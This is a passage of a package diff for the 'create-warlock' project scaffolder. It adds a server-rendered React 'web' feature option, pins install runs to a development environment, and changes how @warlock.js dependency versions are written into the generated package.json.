+		hint: "Server-rendered React pages on the same server as your API — scaffolds src/web and registers the connector",
+		group: "Rendering & Mail"
+	},
 	{
 		key: "react",
 		label: "React (rendering & mails)",

package/esm/features/features-map.mjs.map

@@ -1 +1 @@
-{"version":3,"file":"features-map.mjs","names":[],"sources":["../../../../../../create-warlock/src/features/features-map.ts"],"sourcesContent":["/**\r\n * Presentation manifest for the scaffolder's feature prompts.\r\n *\r\n * This file is **display metadata only** — keys, labels, hints, grouping, and\r\n * default selections. It deliberately holds NO dependency names or versions:\r\n * the single source of truth for what each feature installs is the `add`\r\n * command's feature map in `@warlock.js/core`\r\n * (`src/generations/add-command.action.ts`). The scaffolder collects the\r\n * selections here and delegates the actual install to `warlock add`, so the\r\n * two never drift on versions again.\r\n *\r\n * Every `key` below MUST exist in core's `allowedFeatures`; a CI guard should\r\n * assert that subset relationship so a typo fails the build instead of shipping.\r\n */\r\n\r\nexport type FeatureGroup =\r\n  | \"Auth & Access\"\r\n  | \"Rendering & Mail\"\r\n  | \"Media\"\r\n  | \"Storage & Cache\"\r\n  | \"Jobs & Messaging\"\r\n  | \"Realtime\"\r\n  | \"API Docs\"\r\n  | \"Tooling\";\r\n\r\nexport type FeatureOption = {\r\n  /** Must match a key in core's `add` feature map. */\r\n  key: string;\r\n  label: string;\r\n  hint: string;\r\n  group: FeatureGroup;\r\n  defaultSelected?: boolean;\r\n};\r\n\r\n/**\r\n * Optional features offered in the general multiselect step. The database\r\n * driver (its own select) and AI providers + capability packages (their own\r\n * step) are intentionally NOT here — they have dedicated prompts.\r\n */\r\nexport const features: FeatureOption[] = [\r\n  // Auth & Access\r\n  {\r\n    key: \"access\",\r\n    label: \"Access (authorization)\",\r\n    hint: \"RBAC permission checks, ABAC policies, and roles — pairs with auth\",\r\n    group: \"Auth & Access\",\r\n  },\r\n\r\n  // Rendering & Mail\r\n  {\r\n    key: \"react\",\r\n    label: \"React (rendering & mails)\",\r\n    hint: \"React + ReactDOM for non-interactive rendering and HTML/email generation\",\r\n    group: \"Rendering & Mail\",\r\n    defaultSelected: true,\r\n  },\r\n  {\r\n    key: \"react-email\",\r\n    label: \"React Email\",\r\n    hint: \"Build email templates with React + Tailwind (pulls react + mail)\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n  {\r\n    key: \"mail\",\r\n    label: \"Mail (Nodemailer)\",\r\n    hint: \"Send emails via SMTP\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n  {\r\n    key: \"ses\",\r\n    label: \"Amazon SES\",\r\n    hint: \"Send emails via the AWS SES API\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n\r\n  // Media\r\n  {\r\n    key: \"image\",\r\n    label: \"Image processing (Sharp)\",\r\n    hint: \"Resize, convert, and optimize images\",\r\n    group: \"Media\",\r\n  },\r\n\r\n  // Storage & Cache\r\n  {\r\n    key: \"s3\",\r\n    label: \"S3 storage\",\r\n    hint: \"AWS S3 for cloud file storage\",\r\n    group: \"Storage & Cache\",\r\n  },\r\n  {\r\n    key: \"redis\",\r\n    label: \"Redis cache\",\r\n    hint: \"Redis driver for the cache layer\",\r\n    group: \"Storage & Cache\",\r\n  },\r\n\r\n  // Jobs & Messaging\r\n  {\r\n    key: \"scheduler\",\r\n    label: \"Scheduler\",\r\n    hint: \"Background tasks and cron jobs\",\r\n    group: \"Jobs & Messaging\",\r\n  },\r\n  {\r\n    key: \"herald\",\r\n    label: \"Herald (RabbitMQ)\",\r\n    hint: \"Message broker for event-driven architecture\",\r\n    group: \"Jobs & Messaging\",\r\n  },\r\n  {\r\n    key: \"notifications\",\r\n    label: \"Notifications\",\r\n    hint: \"Multi-channel notifications — mail + in-app database, preferences, idempotency\",\r\n    group: \"Jobs & Messaging\",\r\n  },\r\n\r\n  // Realtime\r\n  {\r\n    key: \"socket\",\r\n    label: \"Socket.IO\",\r\n    hint: \"Realtime websocket server\",\r\n    group: \"Realtime\",\r\n  },\r\n\r\n  // API Docs (swagger / postman / openapi) — not shipped yet; they will arrive\r\n  // together in the unified @warlock.js/api-docs package. Re-add the selection\r\n  // once that package exists. (Removed so the wizard can't offer unbuilt features.)\r\n\r\n  // Tooling\r\n  {\r\n    key: \"test\",\r\n    label: \"Testing (Vitest)\",\r\n    hint: \"Vitest + coverage + per-worker DB/cache test setup\",\r\n    group: \"Tooling\",\r\n  },\r\n];\r\n\r\nexport type AiProviderOption = {\r\n  /** Must match a provider/package key in core's `add` feature map. */\r\n  key: string;\r\n  label: string;\r\n  hint: string;\r\n};\r\n\r\n/**\r\n * AI providers offered in the dedicated AI step. Selecting any of these pulls\r\n * the core `@warlock.js/ai` package automatically via the provider's `requires`\r\n * in core's feature map — the scaffolder never lists `ai` as a standalone pick.\r\n *\r\n * Keys are `ai-`prefixed to mirror core's renamed provider feature keys\r\n * (`ai-openai` → `@warlock.js/ai-openai`, etc.).\r\n */\r\nexport const aiProviders: AiProviderOption[] = [\r\n  { key: \"ai-openai\", label: \"OpenAI\", hint: \"GPT models via the OpenAI API\" },\r\n  { key: \"ai-google\", label: \"Google (Gemini)\", hint: \"Gemini models via Google AI\" },\r\n  { key: \"ai-anthropic\", label: \"Anthropic (Claude)\", hint: \"Claude models via the Anthropic API\" },\r\n  { key: \"ai-bedrock\", label: \"AWS Bedrock\", hint: \"Foundation models via Amazon Bedrock\" },\r\n  { key: \"ai-ollama\", label: \"Ollama\", hint: \"Local models via Ollama\" },\r\n];\r\n\r\n/**\r\n * AI capability packages offered alongside the providers in the dedicated AI\r\n * step. These are the satellite packages that sit on top of the core\r\n * `@warlock.js/ai` toolkit (each pulls the core `ai` package via its `requires`\r\n * in core's feature map, same as the providers).\r\n */\r\nexport const aiPackages: AiProviderOption[] = [\r\n  {\r\n    key: \"ai-tools\",\r\n    label: \"AI Tools\",\r\n    hint: \"Ready-made agent tools (web search, fetch, HTTP, calculator, date-time) + MCP client/server\",\r\n  },\r\n  {\r\n    key: \"ai-panoptic\",\r\n    label: \"AI Observability (Panoptic)\",\r\n    hint: \"Tracing + exporters + a zero-setup local dashboard\",\r\n  },\r\n  {\r\n    key: \"ai-workspace\",\r\n    label: \"AI Workspace\",\r\n    hint: \"Policy-jailed filesystem + shell for coding agents\",\r\n  },\r\n];\r\n\r\n/**\r\n * Feature options for the multiselect prompt, ordered by group with the group\r\n * surfaced in the hint (keeps a flat list scannable without group widgets).\r\n */\r\nexport function getFeatureOptions() {\r\n  return features.map(feature => ({\r\n    value: feature.key,\r\n    label: feature.label,\r\n    hint: `${feature.group} — ${feature.hint}`,\r\n  }));\r\n}\r\n\r\n/**\r\n * Keys pre-checked in the feature multiselect.\r\n */\r\nexport function getDefaultFeatureKeys(): string[] {\r\n  return features.filter(feature => feature.defaultSelected).map(feature => feature.key);\r\n}\r\n\r\n/**\r\n * AI provider options for the dedicated AI multiselect step.\r\n */\r\nexport function getAiProviderOptions() {\r\n  return aiProviders.map(provider => ({\r\n    value: provider.key,\r\n    label: provider.label,\r\n    hint: provider.hint,\r\n  }));\r\n}\r\n\r\n/**\r\n * AI capability package options for the dedicated AI multiselect step. Offered\r\n * together with the providers (see `getAiProviderOptions`).\r\n */\r\nexport function getAiPackageOptions() {\r\n  return aiPackages.map(pkg => ({\r\n    value: pkg.key,\r\n    label: pkg.label,\r\n    hint: pkg.hint,\r\n  }));\r\n}\r\n\r\n/**\r\n * Every selectable key the scaffolder knows about (features + AI providers +\r\n * AI capability packages). Used to validate `--features` / `--ai` flags in\r\n * non-interactive mode.\r\n */\r\nexport function getAllFeatureKeys(): string[] {\r\n  return [\r\n    ...features.map(feature => feature.key),\r\n    ...aiProviders.map(provider => provider.key),\r\n    ...aiPackages.map(pkg => pkg.key),\r\n  ];\r\n}\r\n"],"mappings":";;;;;;AAuCA,MAAa,WAA4B;CAEvC;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;EACP,iBAAiB;CACnB;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAOA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;AACF;;;;;;;;;AAiBA,MAAa,cAAkC;CAC7C;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAAgC;CAC3E;EAAE,KAAK;EAAa,OAAO;EAAmB,MAAM;CAA8B;CAClF;EAAE,KAAK;EAAgB,OAAO;EAAsB,MAAM;CAAsC;CAChG;EAAE,KAAK;EAAc,OAAO;EAAe,MAAM;CAAuC;CACxF;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAA0B;AACvE;;;;;;;AAQA,MAAa,aAAiC;CAC5C;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;AACF;;;;;AAMA,SAAgB,oBAAoB;CAClC,OAAO,SAAS,KAAI,aAAY;EAC9B,OAAO,QAAQ;EACf,OAAO,QAAQ;EACf,MAAM,GAAG,QAAQ,MAAM,KAAK,QAAQ;CACtC,EAAE;AACJ;;;;AAKA,SAAgB,wBAAkC;CAChD,OAAO,SAAS,QAAO,YAAW,QAAQ,eAAe,CAAC,CAAC,KAAI,YAAW,QAAQ,GAAG;AACvF;;;;AAKA,SAAgB,uBAAuB;CACrC,OAAO,YAAY,KAAI,cAAa;EAClC,OAAO,SAAS;EAChB,OAAO,SAAS;EAChB,MAAM,SAAS;CACjB,EAAE;AACJ;;;;;AAMA,SAAgB,sBAAsB;CACpC,OAAO,WAAW,KAAI,SAAQ;EAC5B,OAAO,IAAI;EACX,OAAO,IAAI;EACX,MAAM,IAAI;CACZ,EAAE;AACJ;;;;;;AAOA,SAAgB,oBAA8B;CAC5C,OAAO;EACL,GAAG,SAAS,KAAI,YAAW,QAAQ,GAAG;EACtC,GAAG,YAAY,KAAI,aAAY,SAAS,GAAG;EAC3C,GAAG,WAAW,KAAI,QAAO,IAAI,GAAG;CAClC;AACF"}
+{"version":3,"file":"features-map.mjs","names":[],"sources":["../../../../../../create-warlock/src/features/features-map.ts"],"sourcesContent":["/**\r\n * Presentation manifest for the scaffolder's feature prompts.\r\n *\r\n * This file is **display metadata only** — keys, labels, hints, grouping, and\r\n * default selections. It deliberately holds NO dependency names or versions:\r\n * the single source of truth for what each feature installs is the `add`\r\n * command's feature map in `@warlock.js/core`\r\n * (`src/generations/add-command.action.ts`). The scaffolder collects the\r\n * selections here and delegates the actual install to `warlock add`, so the\r\n * two never drift on versions again.\r\n *\r\n * Every `key` below MUST exist in core's `allowedFeatures`; a CI guard should\r\n * assert that subset relationship so a typo fails the build instead of shipping.\r\n */\r\n\r\nexport type FeatureGroup =\r\n  | \"Auth & Access\"\r\n  | \"Rendering & Mail\"\r\n  | \"Media\"\r\n  | \"Storage & Cache\"\r\n  | \"Jobs & Messaging\"\r\n  | \"Realtime\"\r\n  | \"API Docs\"\r\n  | \"Tooling\";\r\n\r\nexport type FeatureOption = {\r\n  /** Must match a key in core's `add` feature map. */\r\n  key: string;\r\n  label: string;\r\n  hint: string;\r\n  group: FeatureGroup;\r\n  defaultSelected?: boolean;\r\n};\r\n\r\n/**\r\n * Optional features offered in the general multiselect step. The database\r\n * driver (its own select) and AI providers + capability packages (their own\r\n * step) are intentionally NOT here — they have dedicated prompts.\r\n */\r\nexport const features: FeatureOption[] = [\r\n  // Auth & Access\r\n  {\r\n    key: \"access\",\r\n    label: \"Access (authorization)\",\r\n    hint: \"RBAC permission checks, ABAC policies, and roles — pairs with auth\",\r\n    group: \"Auth & Access\",\r\n  },\r\n\r\n  // Rendering & Mail\r\n  {\r\n    key: \"web\",\r\n    label: \"Web (SSR React pages)\",\r\n    hint: \"Server-rendered React pages on the same server as your API — scaffolds src/web and registers the connector\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n  {\r\n    key: \"react\",\r\n    label: \"React (rendering & mails)\",\r\n    hint: \"React + ReactDOM for non-interactive rendering and HTML/email generation\",\r\n    group: \"Rendering & Mail\",\r\n    defaultSelected: true,\r\n  },\r\n  {\r\n    key: \"react-email\",\r\n    label: \"React Email\",\r\n    hint: \"Build email templates with React + Tailwind (pulls react + mail)\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n  {\r\n    key: \"mail\",\r\n    label: \"Mail (Nodemailer)\",\r\n    hint: \"Send emails via SMTP\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n  {\r\n    key: \"ses\",\r\n    label: \"Amazon SES\",\r\n    hint: \"Send emails via the AWS SES API\",\r\n    group: \"Rendering & Mail\",\r\n  },\r\n\r\n  // Media\r\n  {\r\n    key: \"image\",\r\n    label: \"Image processing (Sharp)\",\r\n    hint: \"Resize, convert, and optimize images\",\r\n    group: \"Media\",\r\n  },\r\n\r\n  // Storage & Cache\r\n  {\r\n    key: \"s3\",\r\n    label: \"S3 storage\",\r\n    hint: \"AWS S3 for cloud file storage\",\r\n    group: \"Storage & Cache\",\r\n  },\r\n  {\r\n    key: \"redis\",\r\n    label: \"Redis cache\",\r\n    hint: \"Redis driver for the cache layer\",\r\n    group: \"Storage & Cache\",\r\n  },\r\n\r\n  // Jobs & Messaging\r\n  {\r\n    key: \"scheduler\",\r\n    label: \"Scheduler\",\r\n    hint: \"Background tasks and cron jobs\",\r\n    group: \"Jobs & Messaging\",\r\n  },\r\n  {\r\n    key: \"herald\",\r\n    label: \"Herald (RabbitMQ)\",\r\n    hint: \"Message broker for event-driven architecture\",\r\n    group: \"Jobs & Messaging\",\r\n  },\r\n  {\r\n    key: \"notifications\",\r\n    label: \"Notifications\",\r\n    hint: \"Multi-channel notifications — mail + in-app database, preferences, idempotency\",\r\n    group: \"Jobs & Messaging\",\r\n  },\r\n\r\n  // Realtime\r\n  {\r\n    key: \"socket\",\r\n    label: \"Socket.IO\",\r\n    hint: \"Realtime websocket server\",\r\n    group: \"Realtime\",\r\n  },\r\n\r\n  // API Docs (swagger / postman / openapi) — not shipped yet; they will arrive\r\n  // together in the unified @warlock.js/api-docs package. Re-add the selection\r\n  // once that package exists. (Removed so the wizard can't offer unbuilt features.)\r\n\r\n  // Tooling\r\n  {\r\n    key: \"test\",\r\n    label: \"Testing (Vitest)\",\r\n    hint: \"Vitest + coverage + per-worker DB/cache test setup\",\r\n    group: \"Tooling\",\r\n  },\r\n];\r\n\r\nexport type AiProviderOption = {\r\n  /** Must match a provider/package key in core's `add` feature map. */\r\n  key: string;\r\n  label: string;\r\n  hint: string;\r\n};\r\n\r\n/**\r\n * AI providers offered in the dedicated AI step. Selecting any of these pulls\r\n * the core `@warlock.js/ai` package automatically via the provider's `requires`\r\n * in core's feature map — the scaffolder never lists `ai` as a standalone pick.\r\n *\r\n * Keys are `ai-`prefixed to mirror core's renamed provider feature keys\r\n * (`ai-openai` → `@warlock.js/ai-openai`, etc.).\r\n */\r\nexport const aiProviders: AiProviderOption[] = [\r\n  { key: \"ai-openai\", label: \"OpenAI\", hint: \"GPT models via the OpenAI API\" },\r\n  { key: \"ai-google\", label: \"Google (Gemini)\", hint: \"Gemini models via Google AI\" },\r\n  { key: \"ai-anthropic\", label: \"Anthropic (Claude)\", hint: \"Claude models via the Anthropic API\" },\r\n  { key: \"ai-bedrock\", label: \"AWS Bedrock\", hint: \"Foundation models via Amazon Bedrock\" },\r\n  { key: \"ai-ollama\", label: \"Ollama\", hint: \"Local models via Ollama\" },\r\n];\r\n\r\n/**\r\n * AI capability packages offered alongside the providers in the dedicated AI\r\n * step. These are the satellite packages that sit on top of the core\r\n * `@warlock.js/ai` toolkit (each pulls the core `ai` package via its `requires`\r\n * in core's feature map, same as the providers).\r\n */\r\nexport const aiPackages: AiProviderOption[] = [\r\n  {\r\n    key: \"ai-tools\",\r\n    label: \"AI Tools\",\r\n    hint: \"Ready-made agent tools (web search, fetch, HTTP, calculator, date-time) + MCP client/server\",\r\n  },\r\n  {\r\n    key: \"ai-panoptic\",\r\n    label: \"AI Observability (Panoptic)\",\r\n    hint: \"Tracing + exporters + a zero-setup local dashboard\",\r\n  },\r\n  {\r\n    key: \"ai-workspace\",\r\n    label: \"AI Workspace\",\r\n    hint: \"Policy-jailed filesystem + shell for coding agents\",\r\n  },\r\n];\r\n\r\n/**\r\n * Feature options for the multiselect prompt, ordered by group with the group\r\n * surfaced in the hint (keeps a flat list scannable without group widgets).\r\n */\r\nexport function getFeatureOptions() {\r\n  return features.map(feature => ({\r\n    value: feature.key,\r\n    label: feature.label,\r\n    hint: `${feature.group} — ${feature.hint}`,\r\n  }));\r\n}\r\n\r\n/**\r\n * Keys pre-checked in the feature multiselect.\r\n */\r\nexport function getDefaultFeatureKeys(): string[] {\r\n  return features.filter(feature => feature.defaultSelected).map(feature => feature.key);\r\n}\r\n\r\n/**\r\n * AI provider options for the dedicated AI multiselect step.\r\n */\r\nexport function getAiProviderOptions() {\r\n  return aiProviders.map(provider => ({\r\n    value: provider.key,\r\n    label: provider.label,\r\n    hint: provider.hint,\r\n  }));\r\n}\r\n\r\n/**\r\n * AI capability package options for the dedicated AI multiselect step. Offered\r\n * together with the providers (see `getAiProviderOptions`).\r\n */\r\nexport function getAiPackageOptions() {\r\n  return aiPackages.map(pkg => ({\r\n    value: pkg.key,\r\n    label: pkg.label,\r\n    hint: pkg.hint,\r\n  }));\r\n}\r\n\r\n/**\r\n * Every selectable key the scaffolder knows about (features + AI providers +\r\n * AI capability packages). Used to validate `--features` / `--ai` flags in\r\n * non-interactive mode.\r\n */\r\nexport function getAllFeatureKeys(): string[] {\r\n  return [\r\n    ...features.map(feature => feature.key),\r\n    ...aiProviders.map(provider => provider.key),\r\n    ...aiPackages.map(pkg => pkg.key),\r\n  ];\r\n}\r\n"],"mappings":";;;;;;AAuCA,MAAa,WAA4B;CAEvC;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;EACP,iBAAiB;CACnB;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAGA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;CAOA;EACE,KAAK;EACL,OAAO;EACP,MAAM;EACN,OAAO;CACT;AACF;;;;;;;;;AAiBA,MAAa,cAAkC;CAC7C;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAAgC;CAC3E;EAAE,KAAK;EAAa,OAAO;EAAmB,MAAM;CAA8B;CAClF;EAAE,KAAK;EAAgB,OAAO;EAAsB,MAAM;CAAsC;CAChG;EAAE,KAAK;EAAc,OAAO;EAAe,MAAM;CAAuC;CACxF;EAAE,KAAK;EAAa,OAAO;EAAU,MAAM;CAA0B;AACvE;;;;;;;AAQA,MAAa,aAAiC;CAC5C;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;CACA;EACE,KAAK;EACL,OAAO;EACP,MAAM;CACR;AACF;;;;;AAMA,SAAgB,oBAAoB;CAClC,OAAO,SAAS,KAAI,aAAY;EAC9B,OAAO,QAAQ;EACf,OAAO,QAAQ;EACf,MAAM,GAAG,QAAQ,MAAM,KAAK,QAAQ;CACtC,EAAE;AACJ;;;;AAKA,SAAgB,wBAAkC;CAChD,OAAO,SAAS,QAAO,YAAW,QAAQ,eAAe,CAAC,CAAC,KAAI,YAAW,QAAQ,GAAG;AACvF;;;;AAKA,SAAgB,uBAAuB;CACrC,OAAO,YAAY,KAAI,cAAa;EAClC,OAAO,SAAS;EAChB,OAAO,SAAS;EAChB,MAAM,SAAS;CACjB,EAAE;AACJ;;;;;AAMA,SAAgB,sBAAsB;CACpC,OAAO,WAAW,KAAI,SAAQ;EAC5B,OAAO,IAAI;EACX,OAAO,IAAI;EACX,MAAM,IAAI;CACZ,EAAE;AACJ;;;;;;AAOA,SAAgB,oBAA8B;CAC5C,OAAO;EACL,GAAG,SAAS,KAAI,YAAW,QAAQ,GAAG;EACtC,GAAG,YAAY,KAAI,aAAY,SAAS,GAAG;EAC3C,GAAG,WAAW,KAAI,QAAO,IAAI,GAAG;CAClC;AACF"}

package/esm/helpers/app.mjs

@@ -2,11 +2,25 @@ import { getDatabaseDriver } from "../features/database-drivers.mjs";
 import { executeCommand, runCommand } from "./exec.mjs";
 import { getPackageManager } from "./package-manager.mjs";
 import { packageRoot, template } from "./paths.mjs";
+import { fallbackRange } from "./warlock-versions.mjs";
 import { copyDirectory, copyFile, fileExists, getFile, getJsonFile, putFile, putJsonFile, renameFile } from "@warlock.js/fs";
 import { unlinkSync } from "node:fs";
 import path from "path";
 
 //#region ../create-warlock/src/helpers/app.ts
+/**
+* Environment for every install the scaffolder spawns.
+*
+* A shell that exports `NODE_ENV=production` makes the package managers skip
+* every devDependency — and still exit 0. The scaffolded project needs its dev
+* toolchain (typescript, vitest, eslint) to be usable at all, so the install
+* child is pinned to `development` regardless of the ambient environment. A
+* silently incomplete install that reports success is the exact failure mode
+* this file exists to prevent.
+*/
+function installEnvironment() {
+	return { NODE_ENV: "development" };
+}
 var App = class {
 	constructor(app) {
 		this.app = app;
@@ -28,7 +42,7 @@ var App = class {
 	}
 	terminate() {}
 	install() {
-		return runCommand(getPackageManager(), ["install"], this.path);
+		return runCommand(getPackageManager(), ["install"], this.path, { env: installEnvironment() });
 	}
 	async exec(command) {
 		const [commandName, ...optionsList] = command.split(" ");
@@ -38,14 +52,28 @@ var App = class {
 		const { initializeGitRepository } = await import("./project-builder-helpers.mjs");
 		return await initializeGitRepository(this.path);
 	}
-	updatePackageJson() {
+	/**
+	* Write the project's `package.json`: the project name, the chosen package
+	* manager, and the version of every `@warlock.js/*` dependency.
+	*
+	* `versions` comes from {@link resolveWarlockVersions} — versions the
+	* registry has confirmed exist. It is optional because the fluent chain is
+	* synchronous; without it every sibling gets the caret range floored to the
+	* scaffolder's major, which is always satisfiable by a published release.
+	*
+	* What it must NEVER do again is stamp the scaffolder's own version blind:
+	* the release tooling bumps that version on every build, published or not,
+	* so an unverified pin resolves to nothing and the install dies with ETARGET.
+	*/
+	updatePackageJson(versions = {}) {
 		const pkg = this.package.replace("name", this.name.replaceAll("/", "-")).replaceAll("yarn", getPackageManager());
 		const warlockVersion = getJsonFile(packageRoot("package.json")).version;
+		const defaultRange = fallbackRange(warlockVersion);
 		const content = pkg.content;
 		for (const field of ["dependencies", "devDependencies"]) {
 			const deps = content[field];
 			if (!deps) continue;
-			for (const dependency of Object.keys(deps)) if (dependency.startsWith("@warlock.js/")) deps[dependency] = warlockVersion;
+			for (const dependency of Object.keys(deps)) if (dependency.startsWith("@warlock.js/")) deps[dependency] = versions[dependency] ?? defaultRange;
 		}
 		pkg.save();
 		return this;

package/esm/helpers/app.mjs.map

@@ -1 +1 @@
-{"version":3,"file":"app.mjs","names":[],"sources":["../../../../../../create-warlock/src/helpers/app.ts"],"sourcesContent":["import {\r\n  copyDirectory,\r\n  copyFile,\r\n  fileExists,\r\n  getFile,\r\n  getJsonFile,\r\n  putFile,\r\n  putJsonFile,\r\n  renameFile,\r\n} from \"@warlock.js/fs\";\r\nimport { unlinkSync } from \"node:fs\";\r\nimport path from \"path\";\r\nimport { AppOptions, Application } from \"../commands/create-new-app/types\";\r\nimport { getDatabaseDriver } from \"../features/database-drivers\";\r\nimport { executeCommand, runCommand } from \"./exec\";\r\nimport { getPackageManager } from \"./package-manager\";\r\nimport { packageRoot, Template, template } from \"./paths\";\r\n\r\nexport class App {\r\n  /**\r\n   * Resolved files\r\n   */\r\n  protected files: Record<string, FileManager> = {};\r\n\r\n  /**\r\n   * Resolved JSON files\r\n   */\r\n  protected jsonFiles: Record<string, JsonFileManager> = {};\r\n\r\n  public isInstalled = false;\r\n\r\n  public constructor(protected app: Application) {}\r\n\r\n  public get options(): AppOptions {\r\n    return this.app.options;\r\n  }\r\n\r\n  public use(templateName: Template) {\r\n    copyDirectory(template(templateName), this.path);\r\n\r\n    if (fileExists(this.path + \"/.env.example\")) {\r\n      copyFile(this.path + \"/.env.example\", this.path + \"/.env\");\r\n    }\r\n\r\n    renameFile(this.path + \"/_.gitignore\", this.path + \"/.gitignore\");\r\n\r\n    return this;\r\n  }\r\n\r\n  public init() {\r\n    return this;\r\n  }\r\n\r\n  public terminate() {\r\n    // No longer using outro, using showSuccessScreen instead\r\n  }\r\n\r\n  public install() {\r\n    return runCommand(getPackageManager(), [\"install\"], this.path);\r\n  }\r\n\r\n  public async exec(command: string) {\r\n    const [commandName, ...optionsList] = command.split(\" \");\r\n    return await executeCommand(commandName, optionsList, this.path);\r\n  }\r\n\r\n  public async git() {\r\n    const { initializeGitRepository } = await import(\r\n      \"./project-builder-helpers\"\r\n    );\r\n    return await initializeGitRepository(this.path);\r\n  }\r\n\r\n  public updatePackageJson() {\r\n    const pkg = this.package\r\n      .replace(\"name\", this.name.replaceAll(\"/\", \"-\"))\r\n      .replaceAll(\"yarn\", getPackageManager());\r\n\r\n    // Pin every @warlock.js/* dependency to THIS create-warlock release version\r\n    // so a scaffolded project always matches the framework version it was created\r\n    // with. create-warlock and the framework ship in lockstep, so the scaffolder's\r\n    // own version is the single source of truth (the template's hardcoded versions\r\n    // are irrelevant — they get overwritten here).\r\n    const warlockVersion: string = (\r\n      getJsonFile(packageRoot(\"package.json\")) as { version: string }\r\n    ).version;\r\n    const content: any = pkg.content;\r\n\r\n    for (const field of [\"dependencies\", \"devDependencies\"] as const) {\r\n      const deps = content[field] as Record<string, string> | undefined;\r\n      if (!deps) continue;\r\n\r\n      for (const dependency of Object.keys(deps)) {\r\n        if (dependency.startsWith(\"@warlock.js/\")) {\r\n          deps[dependency] = warlockVersion;\r\n        }\r\n      }\r\n    }\r\n\r\n    pkg.save();\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Configure the chosen database driver: wire `DB_DRIVER` / `DB_PORT` into\r\n   * `.env`, AND pin the driver's npm package (`mongodb` / `pg`) into the\r\n   * project's `package.json` dependencies.\r\n   *\r\n   * The dependency is written HERE — before the base `yarn install` — so the\r\n   * driver is pulled deterministically by the very first install. We do NOT\r\n   * rely on the post-copy `warlock add <driver> --no-install` + separate\r\n   * batched install, which can be skipped or fail and leave the driver\r\n   * missing (the \"mongodb package is not installed\" runtime error).\r\n   */\r\n  public configureDatabaseEnv(driverValue: string) {\r\n    const driver = getDatabaseDriver(driverValue);\r\n\r\n    if (!driver) return this;\r\n\r\n    // Pin the driver package into dependencies (idempotent — never downgrade).\r\n    const packageJsonPath = path.resolve(this.path, \"package.json\");\r\n    const packageJson = getJsonFile(packageJsonPath) as {\r\n      dependencies?: Record<string, string>;\r\n    };\r\n    packageJson.dependencies = packageJson.dependencies ?? {};\r\n    if (!packageJson.dependencies[driver.package]) {\r\n      packageJson.dependencies[driver.package] = driver.packageVersion;\r\n      putJsonFile(packageJsonPath, packageJson);\r\n    }\r\n\r\n    let envContent = getFile(this.path + \"/.env\") as string;\r\n\r\n    envContent = envContent.replace(/DB_PORT=\\d+/, `DB_PORT=${driver.defaultPort}`);\r\n\r\n    if (envContent.includes(\"DB_DRIVER=\")) {\r\n      envContent = envContent.replace(/DB_DRIVER=\\w*/, `DB_DRIVER=${driver.value}`);\r\n    } else {\r\n      envContent = envContent.replace(\r\n        /DB_PORT=\\d+/,\r\n        `DB_PORT=${driver.defaultPort}\\nDB_DRIVER=${driver.value}`,\r\n      );\r\n    }\r\n\r\n    putFile(this.path + \"/.env\", envContent);\r\n\r\n    return this;\r\n  }\r\n\r\n  /**\r\n   * Remove the database layer for a \"no database\" scaffold.\r\n   *\r\n   * Deletes `src/config/database.ts` (and a `.tsx` variant if present) from the\r\n   * freshly-copied template. The framework's database connector is config-gated\r\n   * on that file — with it gone, `config.get(\"database\")` is undefined and the\r\n   * connector no-ops, so the app boots with no database wired and no driver\r\n   * package pulled. The `DB_*` lines in `.env` are left in place (harmless: no\r\n   * config reads them) as a ready template for adding a database back later.\r\n   */\r\n  public removeDatabaseConfig() {\r\n    const configDir = path.resolve(this.path, \"src/config\");\r\n\r\n    for (const fileName of [\"database.ts\", 